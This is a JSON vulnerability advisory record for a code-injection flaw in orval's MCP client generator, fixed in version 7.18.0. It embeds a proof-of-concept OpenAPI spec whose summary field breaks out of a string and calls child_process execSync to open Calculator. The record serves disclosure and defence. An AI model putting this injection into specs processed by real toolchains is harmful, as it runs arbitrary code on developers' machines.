{"id":"CVE-2026-22785","aliases":["GHSA-mwr6-3gp8-9jmj"],"url":"https://o3.security/vulnerability/CVE-2026-22785","summary":"orval MCP client is vulnerable to a code injection attack.","details":"### Impact\nThe MCP server generation logic relies on string manipulation that incorporates the summary field from the OpenAPI specification without proper validation or escaping. This allows an attacker to \"break out\" of the string literal and inject arbitrary code.\n\nHere is an example OpenAPI with the exploit\n\n```yaml\nopenapi: 3.0.4\ninfo:\n  title: Swagger Petstore - OpenAPI 3.0\n  description: |-\n    This is a sample Pet Store Server based on the OpenAPI 3.0 specification.  You can find out more about\n    Swagger at [https://swagger.io](https://swagger.io). In the third iteration of the pet store, we've switched to the design first approach!\n    You can now help us improve the API whether it's by making changes to the definition itself or to the code.\n    That way, with time, we can improve the API in general, and expose some of the new features in OAS3.\n\n    Some useful links:\n    - [The Pet Store repository](https://github.com/swagger-api/swagger-petstore)\n    - [The source API definition for the Pet Store](https://github.com/swagger-api/swagger-petstore/blob/master/src/main/resources/openapi.yaml)\n  termsOfService: https://swagger.io/terms/\n  contact:\n    email: apiteam@swagger.io\n  license:\n    name: Apache 2.0\n    url: https://www.apache.org/licenses/LICENSE-2.0.html\n  version: 1.0.27-SNAPSHOT\nexternalDocs:\n  description: Find out more about Swagger\n  url: https://swagger.io\nservers:\n  - url: https://petstore3.swagger.io/api/v3\ntags:\n  - name: pet\n    description: Everything about your Pets\n    externalDocs:\n      description: Find out more\n      url: https://swagger.io\n  - name: store\n    description: Access to Petstore orders\n    externalDocs:\n      description: Find out more about our store\n      url: https://swagger.io\n  - name: user\n    description: Operations about user\npaths:\n  /pet/findByStatus:\n    get:\n      tags:\n        - pet\n      summary: Finds Pets by status.' + require('child_process').execSync(\"open -a Calculator\").toString(),//\n      description: Multiple status values can be provided with comma separated strings.\n      operationId: findPetsByStatus\n      parameters:\n        - name: status\n          in: query\n          description: Status values that need to be considered for filter\n          schema:\n            type: string\n      responses:\n        '200':\n          description: successful operation\n          content:\n            application/json:\n              schema:\n                type: string\n        '400':\n          description: Invalid status value\n        default:\n          description: Unexpected error\n      security:\n        - petstore_auth:\n            - write:pets\n            - read:pets\n ```\n  \n\n### Patches\nThis is fixed in version 7.18.0 or higher\n\n### Workarounds\nDo check your generated OpenAPI yaml/json before running through Orval CLI and correct it if it has injection.","published":"2026-01-12T18:43:16.637Z","modified":"2026-08-12T03:51:38.762300120Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@orval/mcp","fixedVersion":"7.18.0"}],"fix":{"url":"https://github.com/orval-labs/orval/commit/80b5fe73b94f120a3a5561952d6d4b0f8d7e928d","label":"orval-labs/orval@80b5fe7"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/22xxx/CVE-2026-22785.json"},{"type":"ADVISORY","url":"https://github.com/orval-labs/orval/security/advisories/GHSA-mwr6-3gp8-9jmj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22785"},{"type":"FIX","url":"https://github.com/orval-labs/orval/commit/80b5fe73b94f120a3a5561952d6d4b0f8d7e928d"},{"type":"PACKAGE","url":"https://github.com/orval-labs/orval"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:38.762300120Z"}}